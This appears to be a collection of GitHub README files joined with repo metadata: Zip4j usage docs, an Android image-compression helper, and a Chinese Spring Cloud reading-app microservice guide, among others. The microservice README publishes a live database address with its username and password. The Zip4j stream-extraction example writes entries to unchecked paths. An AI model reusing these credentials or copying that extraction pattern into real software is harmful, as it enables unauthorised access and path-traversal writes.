"some-new-entry.pdf"); ``` This also gives the flexibility to "move" the entry to a different folder. The below example will move the `some-entry.pdf` from `some-folder/some-sub-folder/` to `folder-to-be-moved-to/sub-folder/` and the file will also be renamed to `new-entry.pdf`. To just move the file, use the same file name instead of a new file name. ```java new ZipFile("filename.zip").renameFile("some-folder/some-sub-folder/some-entry.pdf", "folder-to-be-moved-to/sub-folder/new-entry.pdf"); ``` If the entry being modified is a directory, all entries that are part of that directory will be renamed so that all of them have the new folder name as parent. In zip format, all entry names under a directory will contain the full name as their file name. For example if there is an entry by the name `filename.txt` inside a directory `directoryName`, the file name for the entry will be `directoryName/filename.txt`. And if the name of the directory has now been changed to `newDirectoryName`, the entry under it will also be changed to `newDirectoryName/filename.txt`, so when the zip file is extracted, `filename.txt` will be under `newDirectoryName`. Zip file format does not allow modifying split zip files, and Zip4j will throw an exception if an attempt is made to rename files in a split zip file. ### Merging split zip files into a single zip This is the reverse of creating a split zip file, that is, this feature will merge a zip file which is split across several files into a single zip file: ```java new ZipFile("split_zip_file.zip").mergeSplitFiles(new File("merged_zip_file.zip")); ``` This method will throw an exception if the split zip file (in this case `split_zip_file.zip`) is not a split zip file. ### List all files in a zip ```java List<FileHeader> fileHeaders = new ZipFile("zipfile.zip").getFileHeaders(); fileHeaders.stream().forEach(fileHeader -> System.out.println(fileHeader.getFileName())); ``` You can get all other information from the `FileHeader` object corresponding to each file/entry in the zip. ### Check if a zip file is password protected ```java new ZipFile("encrypted_zip_file.zip").isEncrypted(); ``` ### Check if a zip file is a split zip file ```java new ZipFile("split_zip_file.zip").isSplitArchive(); ``` ### Set comment for a zip file ```java new ZipFile("some_zip_file.zip").setComment("Some comment"); ``` ### Remove comment of a zip file ```java new ZipFile("some_zip_file.zip").setComment(""); ``` ### Get comment of a zip file ```java new ZipFile("some_zip_file.zip").getComment(); ``` ### Check if a zip file is valid Note: This will only check for the validity of the headers and not the validity of each entry in the zip file. ```java new ZipFile("valid_zip_file.zip").isValidZipFile(); ``` ## Working with streams ### Adding entries with ZipOutputStream ```java import net.lingala.zip4j.io.outputstream.ZipOutputStream; import net.lingala.zip4j.model.ZipParameters; import net.lingala.zip4j.model.enums.AesKeyStrength; import net.lingala.zip4j.model.enums.CompressionMethod; import net.lingala.zip4j.model.enums.EncryptionMethod; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.util.List; public class ZipOutputStreamExample { public void zipOutputStreamExample(File outputZipFile, List<File> filesToAdd, char[] password, CompressionMethod compressionMethod, boolean encrypt, EncryptionMethod encryptionMethod, AesKeyStrength aesKeyStrength) throws IOException { ZipParameters zipParameters = buildZipParameters(compressionMethod, encrypt, encryptionMethod, aesKeyStrength); byte[] buff = new byte[4096]; int readLen; try(ZipOutputStream zos = initializeZipOutputStream(outputZipFile, encrypt, password)) { for (File fileToAdd : filesToAdd) { // Entry size has to be set if you want to add entries of STORE compression method (no compression) // This is not required for deflate compression if (zipParameters.getCompressionMethod() == CompressionMethod.STORE) { zipParameters.setEntrySize(fileToAdd.length()); } zipParameters.setFileNameInZip(fileToAdd.getName()); zos.putNextEntry(zipParameters); try(InputStream inputStream = new FileInputStream(fileToAdd)) { while ((readLen = inputStream.read(buff)) != -1) { zos.write(buff, 0, readLen); } } zos.closeEntry(); } } } private ZipOutputStream initializeZipOutputStream(File outputZipFile, boolean encrypt, char[] password) throws IOException { FileOutputStream fos = new FileOutputStream(outputZipFile); if (encrypt) { return new ZipOutputStream(fos, password); } return new ZipOutputStream(fos); } private ZipParameters buildZipParameters(CompressionMethod compressionMethod, boolean encrypt, EncryptionMethod encryptionMethod, AesKeyStrength aesKeyStrength) { ZipParameters zipParameters = new ZipParameters(); zipParameters.setCompressionMethod(compressionMethod); zipParameters.setEncryptionMethod(encryptionMethod); zipParameters.setAesKeyStrength(aesKeyStrength); zipParameters.setEncryptFiles(encrypt); return zipParameters; } } ``` ### Extract files with ZipInputStream ```java import net.lingala.zip4j.io.inputstream.ZipInputStream; import net.lingala.zip4j.model.LocalFileHeader; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; public class ZipInputStreamExample { public void extractWithZipInputStream(File zipFile, char[] password) throws IOException { LocalFileHeader localFileHeader; int readLen; byte[] readBuffer = new byte[4096]; InputStream inputStream = new FileInputStream(zipFile); try (ZipInputStream zipInputStream = new ZipInputStream(inputStream, password)) { while ((localFileHeader = zipInputStream.getNextEntry()) != null) { File extractedFile = new File(localFileHeader.getFileName()); try (OutputStream outputStream = new FileOutputStream(extractedFile)) { while ((readLen = zipInputStream.read(readBuffer)) != -1) { outputStream.write(readBuffer, 0, readLen); } } } } } } ``` ## Working with Progress Monitor ProgressMonitor makes it easier for applications (especially user facing) to integrate Zip4j. It is useful to show progress (example: updating a progress bar, displaying the current action, show file name being worked on, etc.). To use ProgressMonitor, you have to set `ZipFile.setRunInThread(true)`. This will make any actions being done on the zip file to run in a background thread. You can then access ProgressMonitor `Zipfile.getProgressMonitor()` and get details of the current action being done along with the percentage work done, etc. Below is an example: ```java ZipFile zipFile = new ZipFile(generatedZipFile, PASSWORD); ProgressMonitor progressMonitor = zipFile.getProgressMonitor(); zipFile.setRunInThread(true); zipFile.addFolder(new File("/some/folder")); while (!progressMonitor.getState().equals(ProgressMonitor.State.READY)) { System.out.println("Percentage done: " + progressMonitor.getPercentDone()); System.out.println("Current file: " + progressMonitor.getFileName()); System.out.println("Current task: " + progressMonitor.getCurrentTask()); Thread.sleep(100); } if (progressMonitor.getResult().equals(ProgressMonitor.Result.SUCCESS)) { System.out.println("Successfully added folder to zip"); } else if (progressMonitor.getResult().equals(ProgressMonitor.Result.ERROR)) { System.out.println("Error occurred. Error message: " + progressMonitor.getException().getMessage()); } else if (progressMonitor.getResult().equals(ProgressMonitor.Result.CANCELLED)) { System.out.println("Task cancelled"); } ``` Note that in the above example, `addFolder()` will almost immediately return back the control to the caller. The client code can then perform a loop until the state gets back to "Ready" as shown in the above example. Similarly, ProgressMonitor can be used with other actions like, `addFiles`, `removeFiles` and `extractFiles`. ## Contribution It is hard to find as much free time as I used to have when I first started Zip4j back in 2009. I would highly appreciate any support I can get for this project. You can fork this project, and send me pull requests for any bug fixes, issues mentioned here or new features. If you need any support in understanding the code or zip specification, just drop me a mail and I will help you as best as I can. (See FAQ for my email address.) ## FAQ 1. **Why do I have to pass in password as char array and not as a string?** [That's why][8] 2. **How can I contact you?** srikanth.mailbox@gmail.com 3. **Are unicode file names supported?** Yes, unicode file names (UTF-8) are supported as specified by the zip format specification. Zip4j will use UTF-8 file name and file comment encoding when creating a zip file. When extracting a zip file, Zip4j will only use UTF-8 encoding, only if the appropriate header flag is set as specified by zip file format specification. If this flag is not set, Zip4j will use CP437 encoding which only supports extended ASCII characters. 4. **Where can I find zip file format specification?** [Here][9] 5. **Why are there so many changes in version 2.x compared to 1.x?** Because when version 1.x was written back in 2009, Zip4j was badly in need of a face-lift and code modernization. Also, my coding standards have improved over the years (or at least that's what I like to think). Although I am proud of the work I did with Zip4j back in 2009, some parts of the code make me feel like hiding my face in shame. One such example is the usage of `ArrayList` instead of `List`. API and code should look much neater now. And also, Zip4j now supports a minimum of JRE 8, as compared to JRE 5 with 1.x, which obviously will bring some nice features that I can make use of. (For example: no more explicitly closing the streams all over the code). If you still feel like something can be improved (and I am pretty sure that there are things to be improved), please let me know by opening an issue here or writing to me (my email address is in point #2 above). 6. **What are the licensing conditions for older releases of Zip4j?** All releases of Zip4j, from version 1.0, are licensed under Apache License 2.0 [1]: https://stackoverflow.com/questions/9324933/what-is-a-good-java-library-to-zip-unzip-files [2]: https://stackoverflow.com/questions/5362364/java-library-to-work-with-zip-files [3]: https://stackoverflow.com/questions/166340/recommendations-on-a-free-library-to-be-used-for-zipping-files [4]: https://stackoverflow.com/questions/18201279/file-compression-library-for-java/18201553 [5]: https://www.baeldung.com/java-compress-and-uncompress [6]: https://mvnrepository.com/artifact/net.lingala.zip4j/zip4j [7]: https://javadoc.io/doc/net.lingala.zip4j/zip4j/latest/net/lingala/zip4j/model/ZipParameters.html#ZipParameters-- [8]: https://www.baeldung.com/java-storing-passwords [9]: https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT [10]: https://stackoverflow.com/questions/tagged/zip4j
0
nanchen2251/CompressHelper
:fire: 压缩文件,压缩图片,压缩Bitmap,Compress, CompressImage, CompressFile, CompressBitmap:https://github.com/nanchen2251/AiYaCompressHelper
2017-03-16T07:20:08Z
null
# AiYaCompressHelper 压缩,图片压缩,压缩Bitmap,Compress,CompressImage,CompressFile,CompressBitmap<br><br> 主要通过尺寸压缩和质量压缩,以达到清晰度最优,该项目参考了 [https://github.com/zetbaitsu/Compressor](https://github.com/zetbaitsu/Compressor) 的部分代码,且在基础上修正了部分 bug ## 效果图<br> ![](https://github.com/nanchen2251/CompressHelper/blob/master/111.png) #### ⊙开源不易,希望给个 star 或者 fork 奖励 #### ⊙拥抱开源:https://github.com/nanchen2251/ #### ⊙交流群(拒绝无脑问):118116509 <a target="_blank" href="//shang.qq.com/wpa/qunwpa?idkey=e6ad4af66393684e1d0c9441403b049d2d5670ec0ce9f72150e694cbb7c16b0a"><img border="0" src="http://pub.idqqimg.com/wpa/images/group.png" alt="Android神技侧漏交流群" title="Android神技侧漏交流群"></a>( 点击图标即可加入 )<br> ## 特点 1、支持压缩单张图片和多张图片<br> ## 使用方法 #### 1、添加依赖<br> ##### Step 1. Add it in your root build.gradle at the end of repositories: ```java allprojects { repositories { ... maven { url 'https://jitpack.io' } } } ``` ##### Step 2. Add the dependency ```java dependencies { implementation 'com.github.nanchen2251:CompressHelper:1.0.5' } ``` #### 2、在Activity里面使用<br> ```java   File newFile = CompressHelper.getDefault(this).compressToFile(oldFile); ``` #### 3、你也可以自定义属性 ```java   File newFile = new CompressHelper.Builder(this) .setMaxWidth(720) // 默认最大宽度为720 .setMaxHeight(960) // 默认最大高度为960 .setQuality(80) // 默认压缩质量为80    .setFileName(yourFileName) // 设置你需要修改的文件名                    .setCompressFormat(CompressFormat.JPEG) // 设置默认压缩为jpg格式 .setDestinationDirectoryPath(Environment.getExternalStoragePublicDirectory( Environment.DIRECTORY_PICTURES).getAbsolutePath()) .build() .compressToFile(oldFile); ``` 该项目参考了: * [https://github.com/zetbaitsu/Compressor](https://github.com/zetbaitsu/Compressor) * [https://github.com/Curzibn/Luban](https://github.com/Curzibn/Luban) ### 关于作者    南尘<br>    四川成都<br>    [其它开源](https://github.com/nanchen2251/)<br>    [个人博客](https://nanchen2251.github.io/)<br>    [简书](http://www.jianshu.com/u/f690947ed5a6)<br>    [博客园](http://www.cnblogs.com/liushilin/)<br>    交流群:118116509<br>    欢迎投稿(关注)我的唯一公众号,公众号搜索 nanchen 或者扫描下方二维码:<br>    ![](https://github.com/nanchen2251/Blogs/blob/master/images/nanchen12.jpg) #### 有码走遍天下 无码寸步难行(引自网络) > 1024 - 梦想,永不止步! 爱编程 不爱Bug 爱加班 不爱黑眼圈 固执 但不偏执 疯狂 但不疯癫 生活里的菜鸟 工作中的大神 身怀宝藏,一心憧憬星辰大海 追求极致,目标始于高山之巅 一群怀揣好奇,梦想改变世界的孩子 一群追日逐浪,正在改变世界的极客 你们用最美的语言,诠释着科技的力量 你们用极速的创新,引领着时代的变迁 ------至所有正在努力奋斗的程序猿们!加油!! ## Licenses ``` Copyright 2017 nanchen(刘世麟) Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ```
0
mymmsc/books
常用书籍
2015-02-08T08:31:19Z
null
所有书籍均来自互联网的公开下载,如果收集的书籍涉及版权问题,请告知我删除它。 All books are downloaded from the Internet. If the collected books involve copyright issues, please let me know to delete them.
0
Zealon159/light-reading-cloud
:books: 轻松阅读,基于SpringCloud生态开发的阅读类APP微服务实战项目,涉及 SpringCloud-Gateway、Nacos、OpenFeign、Hystrix、Jwt、ElasticSearch 等技术的应用
2019-02-26T08:43:00Z
null
<h1 align="center"> 轻松阅读 - API - 2.0 </h1> <p align="center"> <a href="https://github.com/spring-cloud"> <img src="https://img.shields.io/badge/spring--cloud-2.1.5-blue" alt="spring-cloud"> </a> <a href="https://github.com/Netflix/Hystrix"> <img src="https://img.shields.io/badge/hystrix-1.5.18-blue" alt="hystrix"> </a> <a href="https://github.com/jwtk/jjwt"> <img src="https://img.shields.io/badge/jwt-0.9.1-blue" alt="jwt"> </a> <a href="https://github.com/Zealon159/light-reading-cloud/blob/master/LICENSE"> <img src="https://img.shields.io/badge/License-MIT-yellow" alt="license"> </a> </p> ## 项目介绍 light reading cloud(轻松阅读)是一款图书阅读类APP,基于 SpringCloud 生态开发的微服务实践项目,涉及 SpringCloud-Gateway、Nacos、Hystrix、OpenFeign、Jwt、ElasticSearch 等技术栈的应用。 项目的侧重点主要是基于实际业务场景使用微服务架构落地的思路,会采用图文的方式介绍每个服务或接口的原理以及为什么使用这种方式实现,希望会对想入门微服务的同学有所帮助。 客户端采用 Vue.js 、Vuetify 开发:[点击进入仓库](https://github.com/Zealon159/light-reading-cloud-client) ### 版本 `2.0` 版本,主要更新了 SpringCloud Alibaba 的 Nacos 组件,替代了 SpringCloud Config 以及 Eureka `1.0` 版本,采用 SpringCloud Config、Eureka 为配置中心、注册中心。获取此版本,请查看 `reading-1.0` 分支的说明,并 `Checkout` 此分支 ### 演示 演示地址:[http://reading-cloud.zealon.cn/#/index](http://reading-cloud.zealon.cn/#/index) ,`手机访问效果佳 ^_^` 数据库地址:`47.104.241.41` ,端口 `3306` 数据库账户:`hello_developer` ,密码:`Bestyou2020.com` Nacos地址:`http://reading-cloud.zealon.cn:8848/nacos/`,账户密码同上 由于云服务器单机部署,可能内存不足导致Nacos宕机而看不见配置文件,这里专门把配置文件放置在 `bootstrap-config` 目录下,使用静态配置文件方式启动项目(手动更换各个项目对应的配置文件)。 或者切换到 `reading-1.0` 分支,该分支使用了eureka 实现的注册中心。 部分截图: ![](http://reading.zealon.cn/index_1.jpg) ### 架构图 客户端访问接口由统一流量入口 SpringCloud-Gateway 接收请求、响应结果,网关与微服务基于异步IO Netty通信,微服务获取配置文件启动后通过 Nacos 完成服务注册与发现,微服务之间的相互调用基于http协议的 FeignClient客户端。 核心架构图如下: ![](http://reading.zealon.cn/framework.png) ### 系统模块 微服务拆分策略: - 业务先行,理清楚业务边界和依赖 - 先有独立的模块,后有分布式服务 - 模块之间的依赖关系要清晰、参数简单、耦合要少 - 最重要的是需求,根据需求判断具体价值,再按价值建立设计原则,最后按照设计原则来选择落地的技术方案,而不是根据技术来套业务需求 > 阅读APP,如果你有阅读的习惯,相信对此类产品并不陌生,其核心功能是阅读,当然在阅读之前需要发现想要读的图书,这就需要精品(榜单)页、排行、分类、搜索等功能的支撑,而用户数据主要分为账户、会员、书架、积分、评论等功能。 > > 所以根据业务场景可进行最基础的拆分服务:图书服务、精品页服务、排行榜服务、搜索服务、账户服务、会员服务、消息服务、积分服务、活动服务、评论服务、支付服务等等(实际上会有比这更多的功能哈) 本项目进行以下拆分: | No | 工程模块 | 说明 | 依赖 | | ---- | -------------------------- | ---------------------------------------- | ------- | | 1 | reading-cloud-common | 公共模块,存放通用的POJO、工具类等文件。 | - | | 2 | reading-cloud-gateway | 服务网关,流量入口、权限验证等 | - | | 3 | reading-cloud-book | 图书中心,提供图书基础数据接口 | 1 | | 4 | reading-cloud-account | 账户中心,提供账户授权、用户服务等接口 | 1、3 | | 5 | reading-cloud-homepage | 精品页中心,提供App精品页接口 | 1、3、4 | | 6 | reading-cloud-feign-client | Feign客户端,提供微服务的公用客户端 | 1 | 这样拆分的粒度比较适中,其中每个服务相对都比较独立。由于个人精力有限,只实现了最核心的业务:图书、精品页、账户、书架等服务。 从依赖中可以看出,除了common之外,图书中心被依赖的次数最多,由此可见图书中心是最基础的服务,为此需要对这类底层的服务分配更多的容器,具体的还需要根据 `DAU`、`QPS` 等综合衡量,决策更合适的数值,是否要进一步拆分微服务等等。 ## 快速开始 ### step1 - 创建数据库 导入数据库脚本,分别创建数据库 `reading_cloud_resource`、`reading_cloud_account`,然后导入建表脚本。 需要示例数据的话,可以到阿里云数据库导出数据哈,在上面有数据库连接信息。 ### step2 - 配置文件 由于我的服务器内存不够用了,就没搭建配置中心,可以直接修改每个工程的 `bootstrap.yml` 文件,更新数据库信息、redis配置信息等。 ### step3 - 启动程序 首先启动注册中心,然后依次启动图书中心、账户中心、精品页中心、服务网关,可以在配置文件中自行修改端口哈。 ## 指南 工程模块主要划分为2个类型:**基础服务** 和 **业务服务**。 其中配置中心、注册中心、服务网关为基础服务,图书中心、账户中心、精品页中心为业务服务,这里会侧重说明业务部分。 ### 公共模块 - reading-cloud-common 主要存放Pojo、Constant、工具类等公共资源,作为独立的Jar包供其他工程依赖使用。 相当于单体项目里的 common 包独立出来,实现同等的价值,这样不需要每个微服务项目冗余公共代码资源,需要注意只存放公共代码,从而得到更好的抽离和复用。 ### 配置中心/注册中心 - Alibaba-Nacos #### 配置中心 从上面的架构图中我们可以得知,几乎所有的工程都要从配置中心获取配置信息。其目的是用来统一管理配置,配置中心可以在微服务等场景下极大地减轻配置管理的工作量,增强配置管理的服务能力。 > 单体项目的时候,我们把配置信息放到 `.yml` 或 `.properties` 文件中,随着项目走的,一个项目可能有几个配置文件。当请求量随着增大,项目可能要部署多个节点了,这时候维护起来会越来越麻烦,也容易出错。发布的工作降低了整体的工作效率,为了能够提升工作效率,配置中心应运而生了,我们可以将配置统一存放在配置中心来进行管理。 目前主流的配置中心有 Apollo、SpringCloud-Config、Nacos 等开源产品,每款配置中心都能满足统一管理配置的需求,本项目的1.0版本中使用 SpringCloud-Config 作为配置中心、Eureka为注册中心,2.0使用了 Nacos,因为它除了可以做配置中心,还可以做服务注册发现,替代了 Eureka 和 SpringCloud-Config 两个产品。 #### 注册中心 注册中心,是一个独立的服务组件,核心功能是服务治理,集中存储、监控、我们的服务信息。 工作过程简单来说,首先服务提供者启动时,向注册中心提供自己的服务信息,然后消费者服务要请求某个接口时,不是直接去请求具体的服务地址,而是在注册中心拉取得到要请求的服务地址,最后再通过这个地址、端口信息远程调用服务。大体过程如下图: ![](http://reading.zealon.cn/register.jpg) 当然服务注册与服务发现的过程并不仅仅只有注册和拉取这两个动作,还有一些其他相关的动作。如注册中心存储数据的缓存更新、提供者服务故障处理、消费者心跳检测等等。 ### 服务网关 - reading-cloud-gateway API 网关是对外提供服务的一个入口,并且隐藏了内部架构的实现,是微服务架构中必不可少的一个组件。API 网关可以为我们管理大量的 API 接口,负责对接协议适配、安全认证、路由转发、流量限制、日志监控、防止爬虫、等功能。 主流的开源网关有比较早的 Zuul 以及 SpringCloud 自己研发了一个全新的网关 Spring Cloud Gateway。由于 Zuul1 基于 Servlet 构建,使用的是阻塞的 IO,性能并不是很理想。Spring Cloud Gateway 则基于 Spring 5、Spring boot 2 和 Reactor 构建,使用 Netty 作为运行时环境,比较完美的支持异步非阻塞编程。 <center>没使用网关的情况</center> ![](http://reading.zealon.cn/gateway-01.jpg) <center>使用网关后</center> ![](http://reading.zealon.cn/gateway-02.jpg) 我想,没有网关和使用网关的区别,看见客户端的表情你就明白了其中的奥义了吧(无论服务端多么复杂...)。 项目采用 SpringCloud Gateway 作为网关实现,主要实现了统一认证、动态路由。 SpringCloud Gateway 两大核心,一个是Predicate,路由匹配,一个是Filter,过滤器。 路由匹配的配置方式有 Fluent API 和 yml 两种方式,这里采用 yml 方式。具体见 reading-cloud-gateway 工程里的配置文件。 SpringCloud Gateway 有全局过滤器和局部过滤器之分,对应的接口为 GatewayFilter 和 GlobalFilter。我们统一认证的实现方式是自定义实现全局过滤器,在过滤器里面可以处理白名单放行、认证校验、动态处理请求参数等。位置:`cn.zealon.readingcloud.gateway.filter.AuthFilter` 认证校验过程参考 `账户中心 - reading-cloud-account` 的说明文档,在最下边。 其白名单配置在Nacos中,可通过动态配置进行更新。 ### 图书中心 - reading-cloud-book 图书中心作为基础数据提供图书信息服务,另外就是提供图书详情接口、章节目录、章节阅读等接口了。 #### 数据表结构 PS:只列举了关键表和关键字段 1. 图书表(book) 2. 章节表(book_chapter)一对多关系。 ![](http://reading.zealon.cn/book-center-table.png) #### 接口服务 可以看到如下的几个接口,接口描述使用 swagger 实现。 ![](http://reading.zealon.cn/book-center.jpg) 其中图书查询接口比较简单,看代码很轻易的就能明白,这里重点说明一下章节阅读接口 `book/chapter/readChapter`。 首先分析一下阅读操作的特征: - 首次阅读从第一章开始,只有下一章,没有上一章操作 - 普通章节,可操作上一章、下一章 - 末尾章节,只有上一章,没有下一章 分析得出,阅读章节的数据结构几乎就是一个双向链表,所以接口可以采用这种模式来存储一本书的阅读数据。 > Q:为什么非要使用链表存储呢?阅读当前章节的时候同时查询上一章和下一章不是也可以吗? > > A:没错啊,利用当前章节计算上一章和下一章是可行的,但是这种方式每访问一章都需要进行上下章查询与计算,而通过链表这种方式,只需要第一次生成一次链表,后面每次在链表中读取即可,相比每次计算和一次计算,当然要选择后者啦,而且随着章节越多耗费的性能差距也就越大。 按着这个思路,接下来就是要设计具体数据了。我们看一下下边的数据结构,key 代表当前章节ID,value代表上下章关系数据,都有一个 pre 和 next 指向前驱章节和后继章节,这样当请求任意章节时,通过传入的章节ID就直接获得了前后章节信息了。 ``` [ { "key":"519", "value":{ "id":529, "name":"第一章 装B的乞丐", "pre":null, "next":[ { "id":530, "name":"第二章 资格" } ] } }, { "key":"530", "value":{ "id":530, "name":"第二章 资格", "pre":[ { "id":529, "name":"第一章 装B的乞丐" } ], "next":[ { "id":531, "name":"第三章 开始修炼清心诀" } ] } }, { "key":"530", "value":{ "id":531, "name":"第三章 开始修炼清心诀", "pre":[ { "id":530, "name":"第二章 资格" } ], "next":[ { "id":532, "name":"第四章 暴打恶霸" } ] } } ] ``` 设计好了数据结构,想想Redis哪些类型能存储我们的章节数据呢,String自然是不行的了,Hash 貌似可行哎,可以通过 K / V 的形式存储,key即我们的章节ID,value即我们的链表内容,获取的时候只需要提供 key 即可,时间复杂度 O(1),不错的赶脚吧。好了,那就实现它吧~ 数据结构类是 `BookPreviousAndNextChapterNode` ,实现函数是 `BookChapterServiceImpl.getChapterNodeData`,那么有了章节基础数据了,剩下的就是完成整个接口的设计了。接口响应的结果数据除了前后章信息之外,就是当前章节内容了,而前后章的内容万万不能返回的,浪费资源啊。 大致流程图(蓝色环节只在没有缓存时执行一次): ![](http://reading.zealon.cn/process-chapter-read.jpg) 其中,没有缓存时,会查询一次数据库,计算整个链表存到缓存,后面再请求时,直接redis的hash返回,不需要再计算前后章节了。 ### 精品页中心 - reading-cloud-homepage 精品页主要提供app首页数据接口,换一换、图书列表接口。所以依赖于图书中心和账户中心。 #### 数据表设计 1. 精品页配置表(index_page_config) 这个表为精品页推荐、男生、女生的配置总表,根据page_type存储对应的banner或booklist page_type=1 即书单,page_type=2 则Banner 2. Banner轮播表(index_banner) 3. Banner轮播明细表(index_banner_item) 4. 书单配置表(index_booklist) 5. 书单配置明细表(index_booklist_item) ![](http://reading.zealon.cn/homepage-db.jpg) 表详细说明可见数据库SQL建表后的注释。 #### 接口服务 主页的接口主要是读为主,就那么3个,是不是感觉挺简单的哈。 ![](http://reading.zealon.cn/homepage.jpg) 这里主要说明下精品页接口,首先看下精品页的需求: - 按配置有序加载对应的栏目(也就是Banner或书单) - 书单可按类型加载不同的样式 - 书单可按更多配置项呈现换一换或更多或无 所以分析的大致接口逻辑图如下 ![](http://reading.zealon.cn/index-process.jpg) 有了这个结构图,开发功能就清晰多了。 其中获取图书部分内部还有一些细节,随机获取时,每次随机得到的book不能重复,本次随机结果不能与客户端内的图书重复,如果配置数量不够随机的话还不能进行随机等等。想了解细节见代码:`cn.zealon.readingcloud.homepage.service.impl.IndexPageConfigServiceImpl.java` 中 `getIndexPageByType` 函数。 关于获取图书信息,是通过Feign客户端实现的,也就是我们说的微服务之间远程调用,下面是请求链调用的过程 ![](http://reading.zealon.cn/index-seq.jpg) 其中精品页服务内部逻辑也就是我们的流程图部分,而调用链的过程使用时序图更为清晰。 :star: 看蓝色文字调用,这两处即我们的微服务之间的调用了,使用的是FeignClient,注意这里的调用返回结果,如果不是要求100%的实时性,一定要加上缓存,不用每次都去远程调用而减少服务提供者的压力。 :star: 是否注意到了,流程图更适合用于业务逻辑;而时序图适合用于调用链,通常每个节点代表了一个端点(即独立的服务或组件)​ #### ---------------------- 2020-06-01 增加搜索接口 ---------------------- 搜索服务基于ElasticSearch搜索引擎实现,采用版本6.3.1,搜索客户端使用Jest,实际上搜索功能需要独立出来一个微服务工程,必定用户找书是一个很独立的、常用的功能,搜索的背后还要处理很多用户埋点数据,因此接口请求量会比较多。 这里放到了精品页工程中,主要是服务器没有更多内存空间来启动独立的Java进程了 ,ε=(´ο`*)))唉。。。 搜索功能的实现,主要根据搜索需求,然后利用合适的ESAPI来实现,这里就不多说了。搜索数据的同步,目前我是手动执行存储到ES索引库里的,一般情况下,有两种同步手段: 1. 定时任务同步更新 2. 基于MQ准实时更新 **第一种定时任务同步** 这种方式相对来说更传统一些,可以写一个增量同步的脚本,然后使用CRON表达式指定执行间隔,来处理数据同步到ES索引库。缺点一是数据更新不及时,而是定时任务执行中,若无数据则会每次运行会浪费CPU资源。 所以如果要实时性比较高的话,最好采用第二种方式利用MQ处理。 **第二种基于MQ更新** MQ(MessageQueue)即消息队列,多用于解耦、削峰、异步处理等场景。主流的开源项目有ActiveMQ、RabbitMQ、RocketMQ、Kafka等等,这里例举采用RabbitMQ来实现。 首先看一下基于MQ的同步过程: ![](http://reading.zealon.cn/MQ.jpg) 基于MQ的点对点通信,完成整个同步过程,即运营同学对图书进行了写操作,这时候将数据发送至指定的队列(RabbitMQ实际上是绑定交换器,交换器在绑定队列),然后消费者服务监听这个队列,若有数据及时消费处理了(也就是将数据同步到ES索引库中哈),这样就实现了准时更新了。 ### 账户中心 - reading-cloud-account 账户中心提供用户注册、登录验证、用户书架、喜欢看等服务。其中授权验证使用了jwt。 #### 数据表结构 1. 用户表(user) 2. 用户书架表(user_bookshelf) 3. 用户喜欢看表(user_like_see) ![](http://reading.zealon.cn/account-center-table.jpg) #### 接口服务 其中用户服务接口复制登录认证与注册,用户书架、喜欢看都是用户行为的接口 ![](http://reading.zealon.cn/account-center.jpg) **安全认证** 常用的认证方式主要有三种:Session、HTTP Basic Authentication 和 Token。 - session 是认证中最常用的一种方式,也是最简单的。用户登录后将信息存储在后端,客户端则通过 Cookie 中的 SessionId 来标识对应的用户。 - HTTP Basic Authentication 也就是 HTTP 基本认证,它是 HTTP 1.0 提出的一种认证机制。HTTP 基本认证的原理是客户端在请求时会在请求头中增加 Authorization,Authorization 是用户名和密码用 Base64 加密后的内容。服务端获取 Authorization Header 中的用户名与密码进行验证。 - Token 中会存储用户的信息,然后通过加密算法进行加密,只有服务端才能解密,服务端拿到 Token 后进行解密获取用户信息。 相比之下,Token更适用于微服务的安全认证。所以采用了基于Token实现的 JWT作为本项目的安全认证规范。 JWT(JSON Web Token)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。在HTTP通信过程中,进行身份认证。 比如在用户登录时,基本思路就是用户提供用户名和密码给认证服务器,服务器验证用户提交信息的合法性;如果验证成功,会产生并返回一个 Token,客户端将Token保存起来。 ![](http://reading.zealon.cn/jwt-1.jpg) 再次请求服务端时,一般会将 Token 放入请求头中进行传递。当请求到达网关后,会在网关中对 Token 进行校验,如果校验成功,则将该请求转发到后端的服务中,在转发时会将 Token 解析出的用户信息也一并带过去,这样在后端的服务中就不用再解析一遍 Token 获取的用户信息,这个操作统一在网关进行的。如果校验失败,那么就直接返回对应的结果给客户端,不会将请求进行转发。 ![](http://reading.zealon.cn/jwt-2.jpg) :star: ​我们知道,网关是唯一入口,所有一般情况下,微服务之间的请求,就不需要再进行认证了。 :star: 有一些服务是不需要认证的,这时候,我们可以在网关中加白名单进行处理。 :star: 我们知道,jwt认证的过程主要是加密​,然后结果和Token匹配,而加密运算会耗费CPU资源,如果请求量比较大,可以将Token存储缓存,缓存失败再进行实时认证,可以大幅度的提升网关服务器的CPU性能。 ## 附录 附录1.在线UML编辑工具:https://app.diagrams.net/ 附录2.在线数据表关系编辑工具:https://dbdiagram.io/ ## License [MIT](https://github.com/Zealon159/book-ms-interface/blob/master/LICENSE) Copyright (c) 2020 光彩盛年
0
OpenTSDB/opentsdb
A scalable, distributed Time Series Database.
2010-08-27T02:05:20Z
null
null
0
yinwang0/pysonar2
PySonar2: a semantic indexer for Python with interprocedual type inference
2013-10-29T07:20:43Z
null
# PySonar2 - a semantic indexer for Python with interprocedural type inference PySonar2 is a semantic indexer library for Python, designed for batch processing of large code bases. The resulting index can be used to build code browsers and code search engines. Python is a highly dynamic language. To achieve high accuracy and quality, PySonar2 performs interprocedural analysis to infer types. PySonar2 generally produces better index than Python IDEs, while at the same time sacrificing real-time update capabilities of IDEs. Notice the term "type inference" here is descriptive rather than prescriptive, meaning the inferred types describe how the code is actually used, but does not prescribe how they must be used. So the way type inference works here is different from type systems (e.g. Hindley-Milner system). PySonar2 has been the underlying indexing engine for several large-scale code navigation services, such as Google's internal Code Search, sourcegraph.com and insight.io (now part of elastic). <a href="http://www.yinwang.org/resources/demos/pysonar2/email/header.py.html"> <img src="http://www.yinwang.org/images/pysonar2.gif" width="70%"> </a> ### How to build mvn package -DskipTests ### Demo To have a feel of what PySonar2 produce, you can build a simple code browser of the Python 2.7 standard library with the following command line: java 